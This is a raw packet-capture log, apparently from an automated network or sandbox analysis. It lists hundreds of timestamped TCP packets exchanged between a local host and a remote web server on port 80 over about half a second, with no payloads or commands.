Nov 30, 2024 05:00:15.789005995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.789904118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.789949894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.789967060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.790919065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.790973902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.791018963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.791835070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.791887045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.791946888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.792805910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.792850971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.792856932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.793744087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.793756008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.793797016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.794725895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.794763088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.794776917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.795654058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.795665979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.795707941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.796610117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.796622038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.796658039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.797563076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.797575951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.797612906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.798460960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.798502922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.798587084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.799479961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.799520016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.799561024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.800437927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.800483942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.800519943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.801403999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.801454067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.801456928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.802349091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.802402973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.802436113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.803299904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.803356886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.803390980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.804254055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.804305077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.804379940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.805221081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.805284023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.805293083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.806164026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.806214094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.806262016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.807128906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.807178020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.807216883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.808087111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.808159113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.808183908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.809039116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.809097052 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.809154987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.810009956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.810061932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.810132027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.810950994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.810990095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.811064959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.811888933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.811928034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.811999083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.812874079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.812913895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.812953949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.813841105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.813896894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.813921928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.814783096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.814826012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.814876080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.815748930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.815798044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.815831900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.816684008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.816725016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.816802979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.817640066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.817686081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.817688942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.818619013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.818665028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.818671942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.819586039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.819636106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.819667101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.820535898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.820590019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.820605040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.821505070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.821547985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.821571112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.822448969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.822494984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.822547913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.823373079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.823426962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.856270075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.856372118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.856420994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.856710911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.856806993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.856851101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.857661009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.857780933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.857826948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.858613968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.858819008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.858860016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.859625101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.859704018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.859738111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.860544920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.860656977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.860696077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.861502886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.861583948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.861625910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.981007099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.981081963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.981127024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.981456995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.981571913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.981617928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.982420921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.982528925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.982599974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.983338118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.983690977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.983737946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.983748913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.984639883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.984694958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.984716892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.985657930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.985708952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.985769033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.986594915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.986638069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.986723900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.987498999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.987591028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.987608910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.988461971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.988497019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.988523960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.989422083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.989461899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.989466906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.991486073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.991539001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.991641998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.992935896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.992945910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.992990017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.993025064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.993036985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.993065119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.993989944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.994000912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.994055033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.994913101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.994962931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.994997025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.995853901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.995898008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.995924950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.996783018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.996833086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.996879101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.997747898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.997781992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.997829914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.998718023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.998729944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.998764992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.999624014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.999675989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.999737978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.000605106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.000647068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.000686884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.001583099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.001626015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.001691103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.002521038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.002590895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.002618074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.003472090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.003524065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.003587008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.004465103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.004513025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.004563093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.005387068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.005429983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.005516052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.006381035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.006426096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.006500006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.007330894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.007381916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.007559061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.008290052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.008335114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.009141922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.009260893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.009272099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.009320974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.010200977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.010282993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.010370016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.011178017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.011231899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.011233091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.012101889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.012181997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.012212992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.013052940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.013107061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.013175964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.014004946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.014059067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.014132023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.014981985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.015033007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.015074968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.015913010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.015974998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.016033888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.016880035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.016940117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.016980886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.017843962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.017894030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.017946005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.018819094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.018883944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.018909931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.019748926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.019795895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.019856930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.020708084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.020757914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.020817995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.021696091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.021749020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.021759987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.022638083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.022679090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.022763968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.023595095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.023634911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.023703098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.024550915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.024600029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.024653912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.025463104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.025506973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.057388067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.057497025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.057534933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.057821035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.058015108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.058058023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.058118105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.058981895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.059016943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.059091091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.059957027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.059993982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.060065031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.060908079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.060956001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.061126947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.061851025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.061899900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.061955929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.062810898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.062869072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.182204008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.182266951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.182318926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.182740927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.182840109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.182884932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.183653116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.183767080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.183834076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.184587955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.184952021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.185005903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.185015917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.185859919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.185910940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.185946941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.186835051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.186887026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.186888933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.187794924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.187843084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.187871933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.188821077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.188872099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.188963890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.189745903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.189791918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.189811945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.190691948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.190717936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.190742970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.192708969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.192761898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.192770004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.193142891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.193181992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.193356037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.193455935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.193491936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.194392920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.194473028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.194521904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.195291042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.195486069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.195530891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.196278095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.196389914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.196434975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.197190046 CET	80	49732	141.8.197.146	192.168.2.4
